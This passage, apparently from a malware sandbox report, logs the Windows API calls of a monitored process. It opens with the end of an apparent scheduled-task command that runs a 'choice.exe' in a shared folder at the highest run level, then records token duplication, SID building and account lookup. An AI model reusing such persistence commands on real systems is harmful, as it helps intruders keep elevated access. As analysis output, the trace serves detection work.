Server\\110\\Shared\\choice.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2fc, hThread=0x248, dwProcessId=0xf48, dwThreadId=0xf4c)) returned 1 [0064.590] CloseHandle (hObject=0x2fc) returned 1 [0064.590] CloseHandle (hObject=0x248) returned 1 [0064.591] free (_Block=0xef0a0) [0064.591] DestroyEnvironmentBlock () returned 0x1 [0064.591] malloc (_Size=0x48) returned 0xed2c0 [0064.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x4f933a60, dwHighDateTime=0x1d9eb0c)) [0064.591] SetEvent (hEvent=0x1f0) returned 1 [0064.591] CloseHandle (hObject=0x244) returned 1 [0064.591] CloseHandle (hObject=0x238) returned 1 [0064.669] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da90 [0064.669] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da90, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0064.669] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0065.485] SetLastError (dwErrCode=0x0) [0065.485] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0065.485] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0065.485] SetLastError (dwErrCode=0x0) [0065.485] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0) returned 1 [0065.485] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0065.485] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0065.485] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f1f0 [0065.485] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f1f0, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0065.485] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f1f0 | out: hHeap=0x2e0000) returned 1 [0065.487] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0065.487] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0065.487] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0065.488] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0065.488] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0065.488] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0065.488] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0065.490] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0065.490] GetCurrentThread () returned 0xfffffffffffffffe [0065.490] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x234) returned 1 [0065.490] malloc (_Size=0xd8) returned 0xf3750 [0065.490] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0065.490] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0065.491] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0065.491] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0065.491] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0065.491] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0065.491] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0065.491] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0065.491] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0065.492] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0065.492] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0065.492] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0065.492] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0065.492] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0065.492] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0065.492] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0065.493] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0065.493] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0065.493] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0065.493] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0065.493] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0065.493] malloc (_Size=0x18) returned 0xeef60 [0065.493] DuplicateTokenEx (in: hExistingToken=0x234, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x24c) returned 1 [0065.493] malloc (_Size=0x48) returned 0xed2c0 [0065.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x501d4a20, dwHighDateTime=0x1d9eb0c)) [0065.494] SetEvent (hEvent=0x1f0) returned 1 [0065.494] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0065.494] GetLastError () returned 0x7a [0065.494] malloc (_Size=0x2c) returned 0xee200 [0065.494] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0065.494] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0065.494] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0065.494] malloc (_Size=0x1c) returned 0xeff60 [0065.494] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0065.494] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0065.495] malloc (_Size=0x18) returned 0xeef20 [0065.495] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0065.495] malloc (_Size=0x18) returned 0xef0a0 [0065.495] malloc (_Size=0x18) returned 0xeef00 [0065.495] SysStringLen (param_1="S-1-") returned 0x4 [0065.495] SysStringLen (param_1="5") returned 0x1 [0065.495] memcpy (in: _Dst=0x381058, _Src=0x381268, _Size=0xa | out: _Dst=0x381058) returned 0x381058 [0065.495] memcpy (in: _Dst=0x381060, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x381060) returned 0x381060 [0065.495] free (_Block=0xeef20) [0065.495] free (_Block=0xef0a0) [0065.495] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0065.495] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0065.495] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0065.495] malloc (_Size=0x18) returned 0xef0a0 [0065.495] malloc (_Size=0x18) returned 0xeef20 [0065.495] SysStringLen (param_1="S-1-5") returned 0x5 [0065.495] SysStringLen (param_1="-") returned 0x1 [0065.495] memcpy (in: _Dst=0x3811a8, _Src=0x381058, _Size=0xc | out: _Dst=0x3811a8) returned 0x3811a8 [0065.495] memcpy (in: _Dst=0x3811b2, _Src=0x381268, _Size=0x4 | out: _Dst=0x3811b2) returned 0x3811b2 [0065.495] free (_Block=0xeef00) [0065.495] free (_Block=0xef0a0) [0065.495] malloc (_Size=0x18) returned 0xef0a0 [0065.496] malloc (_Size=0x18) returned 0xeef00 [0065.496] SysStringLen (param_1="S-1-5-") returned 0x6 [0065.496] SysStringLen (param_1="21") returned 0x2 [0065.496] memcpy (in: _Dst=0x381268, _Src=0x3811a8, _Size=0xe | out: _Dst=0x381268) returned 0x381268 [0065.496] memcpy (in: _Dst=0x381274, _Src=0x381058, _Size=0x6 | out: _Dst=0x381274) returned 0x381274 [0065.496] free (_Block=0xeef20) [0065.496] free (_Block=0xef0a0) [0065.496] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0065.496] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0065.496] malloc (_Size=0x18) returned 0xef0a0 [0065.496] malloc (_Size=0x18) returned 0xeef20 [0065.496] SysStringLen (param_1="S-1-5-21") returned 0x8 [0065.496] SysStringLen (param_1="-") returned 0x1 [0065.496] memcpy (in: _Dst=0x381058, _Src=0x381268, _Size=0x12 | out: _Dst=0x381058) returned 0x381058 [0065.496] memcpy (in: _Dst=0x381068, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x381068) returned 0x381068 [0065.496] free (_Block=0xeef00) [0065.496] free (_Block=0xef0a0) [0065.496] malloc (_Size=0x18) returned 0xef0a0 [0065.496] malloc (_Size=0x18) returned 0xeef00 [0065.496] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0065.497] SysStringLen (param_1="4219442223") returned 0xa [0065.497] memcpy (in: _Dst=0x3382c8, _Src=0x381058, _Size=0x14 | out: _Dst=0x3382c8) returned 0x3382c8 [0065.497] memcpy (in: _Dst=0x3382da, _Src=0x381268, _Size=0x16 | out: _Dst=0x3382da) returned 0x3382da [0065.497] free (_Block=0xeef20) [0065.497] free (_Block=0xef0a0) [0065.497] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0065.497] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0065.497] malloc (_Size=0x18) returned 0xef0a0 [0065.497] malloc (_Size=0x18) returned 0xeef20 [0065.497] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0065.497] SysStringLen (param_1="-") returned 0x1 [0065.497] memcpy (in: _Dst=0x337698, _Src=0x3382c8, _Size=0x28 | out: _Dst=0x337698) returned 0x337698 [0065.497] memcpy (in: _Dst=0x3376be, _Src=0x381058, _Size=0x4 | out: _Dst=0x3376be) returned 0x3376be [0065.497] free (_Block=0xeef00) [0065.497] free (_Block=0xef0a0) [0065.497] malloc (_Size=0x18) returned 0xef0a0 [0065.497] malloc (_Size=0x18) returned 0xeef00 [0065.497] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0065.497] SysStringLen (param_1="4223814209") returned 0xa [0065.498] memcpy (in: _Dst=0x34da68, _Src=0x337698, _Size=0x2a | out: _Dst=0x34da68) returned 0x34da68 [0065.498] memcpy (in: _Dst=0x34da90, _Src=0x381058, _Size=0x16 | out: _Dst=0x34da90) returned 0x34da90 [0065.498] free (_Block=0xeef20) [0065.498] free (_Block=0xef0a0) [0065.498] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0065.498] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0065.498] malloc (_Size=0x18) returned 0xef0a0 [0065.498] malloc (_Size=0x18) returned 0xeef20 [0065.498] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0065.498] SysStringLen (param_1="-") returned 0x1 [0065.498] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x3e | out: _Dst=0x34db78) returned 0x34db78 [0065.498] memcpy (in: _Dst=0x34dbb4, _Src=0x381058, _Size=0x4 | out: _Dst=0x34dbb4) returned 0x34dbb4 [0065.498] free (_Block=0xeef00) [0065.498] free (_Block=0xef0a0) [0065.498] malloc (_Size=0x18) returned 0xef0a0 [0065.498] malloc (_Size=0x18) returned 0xeef00 [0065.498] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0065.498] SysStringLen (param_1="3835049652") returned 0xa [0065.498] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x40 | out: _Dst=0x34da68) returned 0x34da68 [0065.498] memcpy (in: _Dst=0x34daa6, _Src=0x381058, _Size=0x16 | out: _Dst=0x34daa6) returned 0x34daa6 [0065.498] free (_Block=0xeef20) [0065.498] free (_Block=0xef0a0) [0065.498] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0065.499] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0065.499] malloc (_Size=0x18) returned 0xef0a0 [0065.499] malloc (_Size=0x18) returned 0xeef20 [0065.499] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0065.499] SysStringLen (param_1="-") returned 0x1 [0065.499] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x54 | out: _Dst=0x34db78) returned 0x34db78 [0065.499] memcpy (in: _Dst=0x34dbca, _Src=0x381058, _Size=0x4 | out: _Dst=0x34dbca) returned 0x34dbca [0065.499] free (_Block=0xeef00) [0065.499] free (_Block=0xef0a0) [0065.499] malloc (_Size=0x18) returned 0xef0a0 [0065.499] malloc (_Size=0x18) returned 0xeef00 [0065.499] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0065.499] SysStringLen (param_1="1000") returned 0x4 [0065.499] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x56 | out: _Dst=0x34da68) returned 0x34da68 [0065.499] memcpy (in: _Dst=0x34dabc, _Src=0x381058, _Size=0xa | out: _Dst=0x34dabc) returned 0x34dabc [0065.499] free (_Block=0xeef20) [0065.499] free (_Block=0xef0a0) [0065.499] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0065.499] malloc (_Size=0x5e) returned 0xf0800 [0065.499] free (_Block=0xeef00) [0065.499] malloc (_Size=0x18) returned 0xeef00 [0065.501] free (_Block=0xf0800) [0065.501] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0065.501] GetLastError () returned 0x7a [0065.501] malloc (_Size=0x14) returned 0xef0a0 [0065.501] malloc (_Size=0x16) returned 0xeef20 [0065.501] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef0a0, cchName=0xebcca4, ReferencedDomainName=0xeef20, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0065.502] malloc (_Size=0x18) returned 0xef020 [0065.502] malloc (_Size=0x18) returned 0xef040 [0065.502] free (_Block=0xef0a0) [0065.502] free (_Block=0xeef20) [0065.502] free (_Block=0xeff60) [0065.502] free (_Block=0xef040) [0065.502] free (_Block=0xef020) [0065.502] free (_Block=0xeef00) [0065.503] free (_Block=0xee200) [0065.503] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0065.503] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0065.503] GetLastError () returned 0x7a [0065.503] malloc (_Size=0x2c) returned 0xee240 [0065.503] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0065.503] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0065.503] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0065.503] malloc (_Size=0x1c) returned 0xeff60 [0065.503] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0065.504] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0065.504] malloc (_Size=0x18) returned 0xeef00 [0065.504] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0065.504] malloc (_Size=0x18) returned 0xef020 [0065.504] malloc (_Size=0x18) returned 0xef040 [0065.504] SysStringLen (param_1="S-1-") returned 0x4 [0065.504] SysStringLen (param_1="5") returned 0x1 [0065.504] memcpy (in: _Dst=0x381268, _Src=0x3811a8, _Size=0xa | out: _Dst=0x381268) returned 0x381268 [0065.504] memcpy (in: _Dst=0x381270, _Src=0x381058, _Size=0x4 | out: _Dst=0x381270) returned 0x381270 [0065.504] free (_Block=0xeef00) [0065.504] free (_Block=0xef020) [0065.504] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0065.504] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0065.504] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0065.504] malloc (_Size=0x18) returned 0xef020 [0065.504] malloc (_Size=0x18) returned 0xeef00 [0065.504] SysStringLen (param_1="S-1-5") returned 0x5 [0065.504] SysStringLen (param_1="-") returned 0x1 [0065.504] memcpy (in: _Dst=0x381058, _Src=0x381268, _Size=0xc | out: _Dst=0x381058) returned 0x381058 [0065.504] memcpy (in: _Dst=0x381062, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x381062) returned 0x381062 [0065.504] free (_Block=0xef040) [0065.504] free (_Block=0xef020) [0065.504] malloc (_Size=0x18) returned 0xef020 [0065.505] malloc (_Size=0x18) returned 0xef040 [0065.505] SysStringLen (param_1="S-1-5-") returned 0x6 [0065.505] SysStringLen (param_1="21") returned 0x2 [0065.505] memcpy (in: _Dst=0x3811a8, _Src=0x381058, _Size=0xe | out: _Dst=0x3811a8) returned 0x3811a8 [0065.505] memcpy (in: _Dst=0x3811b4, _Src=0x381268, _Size=0x6 | out: _Dst=0x3811b4) returned 0x3811b4 [0065.505] free (_Block=0xeef00) [0065.505] free (_Block=0xef020) [0065.505] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0065.505] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0065.505] malloc (_Size=0x18) returned 0xef020 [0065.505] malloc (_Size=0x18) returned 0xeef00 [0065.505] SysStringLen (param_1="S-1-5-21") returned 0x8 [0065.505] SysStringLen (param_1="-") returned 0x1 [0065.505] memcpy (in: _Dst=0x381268, _Src=0x3811a8, _Size=0x12 | out: _Dst=0x381268) returned 0x381268 [0065.505] memcpy (in: _Dst=0x381278, _Src=0x381058, _Size=0x4 | out: _Dst=0x381278) returned 0x381278 [0065.505] free (_Block=0xef040) [0065.505] free (_Block=0xef020) [0065.505] malloc (_Size=0x18) returned 0xef020 [0065.505] malloc (_Size=0x18) returned 0xef040 [0065.505] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0065.505] SysStringLen (param_1="4219442223") returned 0xa [0065.506] memcpy (in: _Dst=0x3382c8, _Src=0x381268, _Size=0x14 | out: _Dst=0x3382c8) returned 0x3382c8 [0065.506] memcpy (in: _Dst=0x3382da, _Src=0x3811a8, _Size=0x16 | out: _Dst=0x3382da) returned 0x3382da [0065.506] free (_Block=0xeef00) [0065.506] free (_Block=0xef020) [0065.506] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0065.506] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0065.506] malloc (_Size=0x18) returned 0xef020 [0065.506] malloc (_Size=0x18) returned 0xeef00 [0065.506] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0065.506] SysStringLen (param_1="-") returned 0x1 [0065.506] memcpy (in: _Dst=0x337698, _Src=0x3382c8, _Size=0x28 | out: _Dst=0x337698) returned 0x337698 [0065.506] memcpy (in: _Dst=0x3376be, _Src=0x381268, _Size=0x4 | out: _Dst=0x3376be) returned 0x3376be [0065.506] free (_Block=0xef040) [0065.506] free (_Block=0xef020) [0065.506] malloc (_Size=0x18) returned 0xef020 [0065.506] malloc (_Size=0x18) returned 0xef040 [0065.506] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0065.506] SysStringLen (param_1="4223814209") returned 0xa [0065.506] memcpy (in: _Dst=0x34db78, _Src=0x337698, _Size=0x2a | out: _Dst=0x34db78) returned 0x34db78 [0065.506] memcpy (in: _Dst=0x34dba0, _Src=0x381268, _Size=0x16 | out: _Dst=0x34dba0) returned 0x34dba0 [0065.507] free (_Block=0xeef00) [0065.507] free (_Block=0xef020) [0065.507] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0065.507] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0065.507] malloc (_Size=0x18) returned 0xef020 [0065.507] malloc (_Size=0x18) returned 0xeef00 [0065.507] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0065.507] SysStringLen (param_1="-") returned 0x1 [0065.507] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x3e | out: _Dst=0x34da68) returned 0x34da68 [0065.507] memcpy (in: _Dst=0x34daa4, _Src=0x381268, _Size=0x4 | out: _Dst=0x34daa4) returned 0x34daa4 [0065.507] free (_Block=0xef040) [0065.507] free (_Block=0xef020) [0065.507] malloc (_Size=0x18) returned 0xef020 [0065.507] malloc (_Size=0x18) returned 0xef040 [0065.507] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0065.507] 